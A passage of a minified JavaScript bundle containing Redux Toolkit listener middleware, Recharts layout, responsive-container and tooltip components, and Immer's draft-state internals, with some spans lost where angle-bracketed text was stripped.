Promise.all(T),A.abort(uK),i(x),x.pending.delete(A)}},m=pK(t,n);return{middleware:x=>S=>w=>{if(!DR(w))return S(w);if(aD.match(w))return f(w.payload);if(mK.match(w)){m();return}if(iD.match(w))return h(w.payload);let O=x.getState();const A=()=>{if(O===D_)throw new Error(Hn(23));return O};let _;try{if(_=S(w),t.size>0){const T=x.getState(),j=Array.from(t.values());for(const M of j){let P=!1;try{P=M.predicate(w,T,O)}catch(R){P=!1,L_(c,R,{raisedBy:"predicate"})}P&&p(M,w,x,A)}}}finally{O=D_}return _},startListening:f,stopListening:h,clearListeners:m}};function Hn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var gK={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},oD=An({name:"chartLayout",initialState:gK,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,l;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(l=t.payload.left)!==null&&l!==void 0?l:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:yK,setLayout:bK,setChartSize:xK,setScale:wK}=oD.actions,SK=oD.reducer;function lD(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function ht(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function I_(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function El(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:l,verticalAlign:c,layout:u}=t;if((u==="vertical"||u==="horizontal"&&c==="middle")&&l!=="center"&&Oe(e[l]))return El(El({},e),{},{[l]:e[l]+(r||0)});if((u==="horizontal"||u==="vertical"&&l==="center")&&c!=="middle"&&Oe(e[c]))return El(El({},e),{},{[c]:e[c]+(i||0)})}return e},So=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",z_=1e-4,_K=e=>{var t=e.domain();if(!(!t||t.length<=2)){var n=t.length,r=e.range(),i=Math.min(r[0],r[1])-z_,l=Math.max(r[0],r[1])+z_,c=e(t[0]),u=e(t[n-1]);(cl||ul)&&e.domain([t[0],t[n-1]])}},TK=(e,t)=>{if(!t||t.length!==2||!Oe(t[0])||!Oe(t[1]))return e;var n=Math.min(t[0],t[1]),r=Math.max(t[0],t[1]),i=[e[0],e[1]];return(!Oe(e[0])||e[0]r)&&(i[1]=r),i[0]>r&&(i[0]=r),i[1]{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(h[0]=l,h[1]=l+y,l=p):(h[0]=c,h[1]=c+y,c=p)}}}},MK=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(f[0]=l,f[1]=l+h,l=f[1]):(f[0]=0,f[1]=0)}}}},jK={sign:NK,expand:aF,none:so,silhouette:iF,wiggle:oF,positive:MK},PK=(e,t,n)=>{var r,i=(r=jK[n])!==null&&r!==void 0?r:so,l=rF().keys(t).value((u,f)=>Number(lt(u,f,0))).order(N0).offset(i),c=l(e);return c.forEach((u,f)=>{u.forEach((h,p)=>{var m=lt(e[p],t[f],0);Array.isArray(m)&&m.length===2&&Oe(m[0])&&Oe(m[1])&&(h[0]=m[0],h[1]=m[1])})}),c};function RK(e){return e==null?void 0:String(e)}var $_=e=>{var{axis:t,ticks:n,offset:r,bandSize:i,entry:l,index:c}=e;if(t.type==="category")return n[c]?n[c].coordinate+r:null;var u=lt(l,t.dataKey,t.scale.domain()[c]);return Vt(u)?null:t.scale(u)-i/2+r},DK=e=>{var{numericAxis:t}=e,n=t.scale.domain();if(t.type==="number"){var r=Math.min(n[0],n[1]),i=Math.max(n[0],n[1]);return r<=0&&i>=0?0:i<0?i:r}return n[0]},kK=e=>{var t=e.flat(2).filter(Oe);return[Math.min(...t),Math.max(...t)]},LK=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],IK=(e,t,n)=>{if(e!=null)return LK(Object.keys(e).reduce((r,i)=>{var l=e[i];if(!l)return r;var{stackedData:c}=l,u=c.reduce((f,h)=>{var p=lD(h,t,n),m=kK(p);return!ht(m[0])||!ht(m[1])?f:[Math.min(f[0],m[0]),Math.max(f[1],m[1])]},[1/0,-1/0]);return[Math.min(u[0],r[0]),Math.max(u[1],r[1])]},[1/0,-1/0]))},B_=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,U_=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,qd=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Xh(t,p=>p.coordinate),l=1/0,c=1,u=i.length;c{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},$K=(e,t)=>t==="centric"?e.angle:e.radius,Pa=e=>e.layout.width,Ra=e=>e.layout.height,BK=e=>e.layout.scale,sD=e=>e.layout.margin,op=G(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),lp=G(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),cD="data-recharts-item-index",uD="data-recharts-item-id",Qc=60;function q_(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Zf(e){for(var t=1;te.brush.height;function VK(e){var t=lp(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qc;return n+i}return n},0)}function KK(e){var t=lp(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qc;return n+i}return n},0)}function YK(e){var t=op(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function GK(e){var t=op(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=G([Pa,Ra,sD,FK,VK,KK,YK,GK,jR,xV],(e,t,n,r,i,l,c,u,f,h)=>{var p={left:(n.left||0)+i,right:(n.right||0)+l},m={top:(n.top||0)+c,bottom:(n.bottom||0)+u},y=Zf(Zf({},m),p),x=y.bottom;y.bottom+=r,y=CK(y,f,h);var S=e-y.left-y.right,w=t-y.top-y.bottom;return Zf(Zf({brushBottom:x},y),{},{width:Math.max(S,0),height:Math.max(w,0)})}),WK=G(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height})),Sx=G(Pa,Ra,(e,t)=>({x:0,y:0,width:e,height:t})),XK=v.createContext(null),Vn=()=>v.useContext(XK)!=null,sp=e=>e.brush,cp=G([sp,kt,sD],(e,t,n)=>({height:e.height,x:Oe(e.x)?e.x:t.left,y:Oe(e.y)?e.y:t.top+t.height+t.brushBottom-(n?.bottom||0),width:Oe(e.width)?e.width:t.width})),Oy={},Ey={},Ay={},F_;function ZK(){return F_||(F_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:l}={}){let c,u=null;const f=l!=null&&l.includes("leading"),h=l==null||l.includes("trailing"),p=()=>{u!==null&&(n.apply(c,u),c=void 0,u=null)},m=()=>{h&&p(),w()};let y=null;const x=()=>{y!=null&&clearTimeout(y),y=setTimeout(()=>{y=null,m()},r)},S=()=>{y!==null&&(clearTimeout(y),y=null)},w=()=>{S(),c=void 0,u=null},O=()=>{p()},A=function(..._){if(i?.aborted)return;c=this,u=_;const T=y==null;x(),f&&T&&p()};return A.schedule=x,A.cancel=w,A.flush=O,i?.addEventListener("abort",w,{once:!0}),A}e.debounce=t})(Ay)),Ay}var V_;function QK(){return V_||(V_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=ZK();function n(r,i=0,l={}){typeof l!="object"&&(l={});const{leading:c=!1,trailing:u=!0,maxWait:f}=l,h=Array(2);c&&(h[0]="leading"),u&&(h[1]="trailing");let p,m=null;const y=t.debounce(function(...w){p=r.apply(this,w),m=null},i,{edges:h}),x=function(...w){return f!=null&&(m===null&&(m=Date.now()),Date.now()-m>=f)?(p=r.apply(this,w),m=Date.now(),y.cancel(),y.schedule(),p):(y.apply(this,w),p)},S=()=>(y.flush(),p);return x.cancel=y.cancel,x.flush=S,x}e.debounce=n})(Ey)),Ey}var K_;function JK(){return K_||(K_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=QK();function n(r,i=0,l={}){const{leading:c=!0,trailing:u=!0}=l;return t.debounce(r,i,{leading:c,maxWait:i,trailing:u})}e.throttle=n})(Oy)),Oy}var Cy,Y_;function eY(){return Y_||(Y_=1,Cy=JK().throttle),Cy}var tY=eY();const nY=Vr(tY);var G_=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),l=2;li[c++]))}},fD=(e,t,n)=>{var{width:r="100%",height:i="100%",aspect:l,maxHeight:c}=n,u=Ea(r)?e:Number(r),f=Ea(i)?t:Number(i);return l&&l>0&&(u?f=u/l:f&&(u=f*l),c&&f!=null&&f>c&&(f=c)),{calculatedWidth:u,calculatedHeight:f}},rY={width:0,height:0,overflow:"visible"},aY={width:0,overflowX:"visible"},iY={height:0,overflowY:"visible"},oY={},lY=e=>{var{width:t,height:n}=e,r=Ea(t),i=Ea(n);return r&&i?rY:r?aY:i?iY:oY};function sY(e){var{width:t,height:n,aspect:r}=e,i=t,l=n;return i===void 0&&l===void 0?(i="100%",l="100%"):i===void 0?i=r&&r>0?void 0:"100%":l===void 0&&(l=r&&r>0?void 0:"100%"),{width:i,height:l}}function U0(){return U0=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return dY(i)?v.createElement(dD.Provider,{value:i},t):null}var Ox=()=>v.useContext(dD),hY=v.forwardRef((e,t)=>{var{aspect:n,initialDimension:r={width:-1,height:-1},width:i,height:l,minWidth:c=0,minHeight:u,maxHeight:f,children:h,debounce:p=0,id:m,className:y,onResize:x,style:S={}}=e,w=v.useRef(null),O=v.useRef();O.current=x,v.useImperativeHandle(t,()=>w.current);var[A,_]=v.useState({containerWidth:r.width,containerHeight:r.height}),T=v.useCallback((I,B)=>{_(q=>{var U=Math.round(I),V=Math.round(B);return q.containerWidth===U&&q.containerHeight===V?q:{containerWidth:U,containerHeight:V}})},[]);v.useEffect(()=>{if(w.current==null||typeof ResizeObserver>"u")return Gc;var I=V=>{var oe,{width:le,height:ce}=V[0].contentRect;T(le,ce),(oe=O.current)===null||oe===void 0||oe.call(O,le,ce)};p>0&&(I=nY(I,p,{trailing:!0,leading:!1}));var B=new ResizeObserver(I),{width:q,height:U}=w.current.getBoundingClientRect();return T(q,U),B.observe(w.current),()=>{B.disconnect()}},[T,p]);var{containerWidth:j,containerHeight:M}=A;G_(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:P,calculatedHeight:R}=fD(j,M,{width:i,height:l,aspect:n,maxHeight:f});return G_(P!=null&&P>0||R!=null&&R>0,`The width(%s) and height(%s) of chart should be greater than 0, please check the style of container, or the props width(%s) and height(%s), or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the - height and width.`,P,R,i,l,c,u,n),v.createElement("div",{id:m?"".concat(m):void 0,className:Ye("recharts-responsive-container",y),style:X_(X_({},S),{},{width:i,height:l,minWidth:c,minHeight:u,maxHeight:f}),ref:w},v.createElement("div",{style:lY({width:i,height:l})},v.createElement(hD,{width:P,height:R},h)))}),pY=v.forwardRef((e,t)=>{var n=Ox();if(Si(n.width)&&Si(n.height))return e.children;var{width:r,height:i}=sY({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:l,calculatedHeight:c}=fD(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return Oe(l)&&Oe(c)?v.createElement(hD,{width:l,height:c},e.children):v.createElement(hY,U0({},e,{width:r,height:i,ref:t}))});function pD(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var up=()=>{var e,t=Vn(),n=we(WK),r=we(cp),i=(e=we(sp))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},mY={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},vY=()=>{var e;return(e=we(kt))!==null&&e!==void 0?e:mY},gY=()=>we(Pa),yY=()=>we(Ra),Fe=e=>e.layout.layoutType,Jc=()=>we(Fe),bY=()=>{var e=Jc();return e!==void 0},fp=e=>{var t=ft(),n=Vn(),{width:r,height:i}=e,l=Ox(),c=r,u=i;return l&&(c=l.width>0?l.width:r,u=l.height>0?l.height:i),v.useEffect(()=>{!n&&Si(c)&&Si(u)&&t(xK({width:c,height:u}))},[t,n,c,u]),null},mD=Symbol.for("immer-nothing"),Z_=Symbol.for("immer-draftable"),qn=Symbol.for("immer-state");function xr(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Nc=Object.getPrototypeOf;function kl(e){return!!e&&!!e[qn]}function ho(e){return e?vD(e)||Array.isArray(e)||!!e[Z_]||!!e.constructor?.[Z_]||eu(e)||hp(e):!1}var xY=Object.prototype.constructor.toString(),Q_=new WeakMap;function vD(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Q_.get(n);return r===void 0&&(r=Function.toString.call(n),Q_.set(n,r)),r===xY}function Fd(e,t,n=!0){dp(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function dp(e){const t=e[qn];return t?t.type_:Array.isArray(e)?1:eu(e)?2:hp(e)?3:0}function H0(e,t){return dp(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function gD(e,t,n){const r=dp(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function wY(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function eu(e){return e instanceof Map}function hp(e){return e instanceof Set}function Xi(e){return e.copy_||e.base_}function q0(e,t){if(eu(e))return new Map(e);if(hp(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=vD(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[qn];let i=Reflect.ownKeys(r);for(let l=0;l1&&Object.defineProperties(e,{set:Qf,add:Qf,clear:Qf,delete:Qf}),Object.freeze(e),t&&Object.values(e).forEach(n=>Ex(n,!0))),e}function SY(){xr(2)}var Qf={value:SY};function pp(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var OY={};function po(e){const t=OY[e];return t||xr(0,e),t}var Mc;function yD(){return Mc}function EY(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function J_(e,t){t&&(po("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function F0(e){V0(e),e.drafts_.forEach(AY),e.drafts_=null}function V0(e){e===Mc&&(Mc=e.parent_)}function eT(e){return Mc=EY(Mc,e)}function AY(e){const t=e[qn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function tT(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[qn].modified_&&(F0(t),xr(4)),ho(e)&&(e=Vd(t,e),t.parent_||Kd(t,e)),t.patches_&&po("Patches").generateReplacementPatches_(n[qn].base_,e,t.patches_,t.inversePatches_)):e=Vd(t,n,[]),F0(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==mD?e:void 0}function Vd(e,t,n){if(pp(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[qn];if(!i)return Fd(t,(l,c)=>nT(e,i,t,l,c,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return Kd(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const l=i.copy_;let c=l,u=!1;i.type_===3&&(c=new Set(l),l.clear(),u=!0),Fd(c,(f,h)=>nT(e,i,l,f,h,n,u),r),Kd(e,l,!1),n&&e.patches_&&po("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function nT(e,t,n,r,i,l,c){if(i==null||typeof i!="object"&&!c)return;const u=pp(i);if(!(u&&!c)){if(kl(i)){const f=l&&t&&t.type_!==3&&!H0(t.assigned_,r)?l.concat(r):void 0,h=Vd(e,i,f);if(gD(n,r,h),kl(h))e.canAutoFreeze_=!1;else return}else c&&n.add(i);if(ho(i)&&!u){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&u)return;Vd(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(eu(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&Kd(e,i)}}}function Kd(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Ex(t,n)}function CY(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:yD(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,l=Ax;n&&(i=[r],l=jc);const{revoke:c,proxy:u}=Proxy.revocable(i,l);return r.draft_=u,r.revoke_=c,u}var Ax={get(e,t){if(t===qn)return e;const n=Xi(e);if(!H0(n,t))return _Y(e,n,t);const r=n[t];return e.finalized_||!ho(r)?r:r===_y(e.base_,t)?(Ty(e),e.copy_[t]=Y0(r,e)):r},has(e,t){return t in Xi(e)},ownKeys(e){return Reflect.ownKeys(Xi(e))},set(e,t,n){const r=bD(Xi(e),t);if(r?.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=_y(Xi(e),t),l=i?.[qn];if(l&&l.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(wY(n,i)&&(n!==void 0||H0(e.base_,t)))return!0;Ty(e),K0(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return _y(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,Ty(e),K0(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Xi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){xr(11)},getPrototypeOf(e){return Nc(e.base_)},setPrototypeOf(){xr(12)}},jc={};Fd(Ax,(e,t)=>{jc[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});jc.deleteProperty=function(e,t){return jc.set.call(this,e,t,void 0)};jc.set=function(e,t,n){return Ax.set.call(this,e[0],t,n,e[0])};function _y(e,t){const n=e[qn];return(n?Xi(n):e)[t]}function _Y(e,t,n){const r=bD(t,n);return r?"value"in r?r.value:r.get?.call(e.draft_):void 0}function bD(e,t){if(!(t in e))return;let n=Nc(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Nc(n)}}function K0(e){e.modified_||(e.modified_=!0,e.parent_&&K0(e.parent_))}function Ty(e){e.copy_||(e.copy_=q0(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var TY=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const l=n;n=t;const c=this;return function(f=l,...h){return c.produce(f,p=>n.call(this,p,...h))}}typeof n!="function"&&xr(6),r!==void 0&&typeof r!="function"&&xr(7);let i;if(ho(t)){const l=eT(this),c=Y0(t,void 0);let u=!0;try{i=n(c),u=!1}finally{u?F0(l):V0(l)}return J_(l,r),tT(i,l)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===mD&&(i=void 0),this.autoFreeze_&&Ex(i,!0),r){const l=[],c=[];po("Patches").generateReplacementPatches_(t,i,l,c),r(l,c)}return i}else xr(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(c,...u)=>this.produceWithPatches(c,f=>t(f,...u));let r,i;return[this.produce(t,n,(c,u)=>{r=c,i=u}),r,i]},typeof e?.autoFreeze=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof e?.useStrictShallowCopy=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof e?.useStrictIteration=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ho(e)||xr(8),kl(e)&&(e=NY(e));const t=eT(this),n=Y0(e,void 0);return n[qn].isManual_=!0,V0(t),n}finishDraft(e,t){const n=e&&e[qn];(!n||!n.isManual_)&&xr(9);const{scope_:r}=n;return J_(r,t),tT(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=po("Patches").applyPatches_;return kl(e)?r(e,t):this.produce(e,i=>r(i,t))}};function Y0(e,t){const n=eu(e)?po("MapSet").proxyMap_(e,t):hp(e)?po("MapSet").proxySet_(e,t):CY(e,t);return(t?t.scope_:yD()).drafts_.push(n),n}function NY(e){return kl(e)||xr(10,e),xD(e)}function xD(e){if(!ho(e)||pp(e))return e;const t=e[qn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=q0(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=q0(e,!0);return Fd(n,(i,l)=>{gD(n,i,xD(l))},r),t&&(t.finalized_=!1),n}var MY=new TY;MY.produce;var jY={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},wD=An({name:"legend",initialState:jY,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:ct()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:ct()},removeLegendPayload:{reducer(e,t){var n=Sr(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:ct()}}}),{setLegendSize:xue,setLegendSettings:wue,addLegendPayload:SD,replaceLegendPayload:OD,removeLegendPayload:ED}=wD.actions,PY=wD.reducer;function G0(){return G0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=" : ",contentStyle:n={},itemStyle:r={},labelStyle:i={},payload:l,formatter:c,itemSorter:u,wrapperClassName:f,labelClassName:h,label:p,labelFormatter:m,accessibilityLayer:y=!1}=e,x=()=>{if(l&&l.length){var M={padding:0,margin:0},P=(u?Xh(l,u):l).map((R,I)=>{if(R.type==="none")return null;var B=R.formatter||c||LY,{value:q,name:U}=R,V=q,oe=U;if(B){var le=B(q,U,R,I,l);if(Array.isArray(le))[V,oe]=le;else if(le!=null)V=le;else return null}var ce=Ny({display:"block",paddingTop:4,paddingBottom:4,color:R.color||"#000"},r);return v.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(I),style:ce},qr(oe)?v.createElement("span",{className:"recharts-tooltip-item-name"},oe):null,qr(oe)?v.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,v.createElement("span",{className:"recharts-tooltip-item-value"},V),v.createElement("span",{className:"recharts-tooltip-item-unit"},R.unit||""))});return v.createElement("ul",{className:"recharts-tooltip-item-list",style:M},P)}return null},S=Ny({margin:0,padding:10,backgroundColor:"#fff",border:"1px solid #ccc",whiteSpace:"nowrap"},n),w=Ny({margin:0},i),O=!Vt(p),A=O?p:"",_=Ye("recharts-default-tooltip",f),T=Ye("recharts-tooltip-label",h);O&&m&&l!==void 0&&l!==null&&(A=m(p,l));var j=y?{role:"status","aria-live":"assertive"}:{};return v.createElement("div",G0({className:_,style:S},j),v.createElement("p",{className:T,style:w},v.isValidElement(A)?A:"".concat(A)),x())},ac="recharts-tooltip-wrapper",zY={visibility:"hidden"};function $Y(e){var{coordinate:t,translateX:n,translateY:r}=e;return Ye(ac,{["".concat(ac,"-right")]:Oe(n)&&t&&Oe(t.x)&&n>=t.x,["".concat(ac,"-left")]:Oe(n)&&t&&Oe(t.x)&&n=t.y,["".concat(ac,"-top")]:Oe(r)&&t&&Oe(t.y)&&r0?i:0),m=n[r]+i;if(t[r])return c[r]?p:m;var y=f[r];if(y==null)return 0;if(c[r]){var x=p,S=y;return xO?Math.max(p,y):Math.max(m,y)}function BY(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function UY(e){var{allowEscapeViewBox:t,coordinate:n,offsetTopLeft:r,position:i,reverseDirection:l,tooltipBox:c,useTranslate3d:u,viewBox:f}=e,h,p,m;return c.height>0&&c.width>0&&n?(p=aT({allowEscapeViewBox:t,coordinate:n,key:"x",offsetTopLeft:r,position:i,reverseDirection:l,tooltipDimension:c.width,viewBox:f,viewBoxDimension:f.width}),m=aT({allowEscapeViewBox:t,coordinate:n,key:"y",offsetTopLeft:r,position:i,reverseDirection:l,tooltipDimension:c.height,viewBox:f,viewBoxDimension:f.height}),h=BY({translateX:p,translateY:m,useTranslate3d:u})):h=zY,{cssProperties:h,cssClasses:$Y({translateX:p,translateY:m,coordinate:n})}}function iT(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jf(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,l;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(l=this.props.coordinate)===null||l===void 0?void 0:l.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:l,coordinate:c,hasPayload:u,isAnimationActive:f,offset:h,position:p,reverseDirection:m,useTranslate3d:y,viewBox:x,wrapperStyle:S,lastBoundingBox:w,innerRef:O,hasPortalFromProps:A}=this.props,{cssClasses:_,cssProperties:T}=UY({allowEscapeViewBox:n,coordinate:c,offsetTopLeft:h,position:p,reverseDirection:m,tooltipBox:{height:w.height,width:w.width},useTranslate3d:y,viewBox:x}),j=A?{}:Jf(Jf({transition:f&&t?"transform ".concat(r,"ms ").concat(i):void 0},T),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&u?"visible":"hidden",position:"absolute",top:0,left:0}),M=Jf(Jf({},j),{},{visibility:!this.state.dismissed&&t&&u?"visible":"hidden"},S);return v.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:_,style:M,ref:O},l)}}var AD=()=>{var e;return(e=we(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function X0(){return X0=Object.assign?Object.assign.bind():function(e){for(var t=1;tht(e.x)&&ht(e.y),cT=e=>e.base!=null&&Yd(e.base)&&Yd(e),ic=e=>e.x,oc=e=>e.y,GY=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Yc(e));return(n==="curveMonotone"||n==="curveBump")&&t?sT["".concat(n).concat(t==="vertical"?"Y":"X")]:sT[n]||Yh},WY=e=>{var{type:t="linear",points:n=[],baseLine:r,layout:i,connectNulls:l=!1}=e,c=GY(t,i),u=l?n.filter(Yd):n,f;if(Array.isArray(r)){var h=n.map((x,S)=>lT(lT({},x),{},{base:r[S]}));i==="vertical"?f=Vf().y(oc).x1(ic).x0(x=>x.base.x):f=Vf().x(ic).y1(oc).y0(x=>x.base.y);var p=f.defined(cT).curve(c),m=l?h.filter(cT):h;return 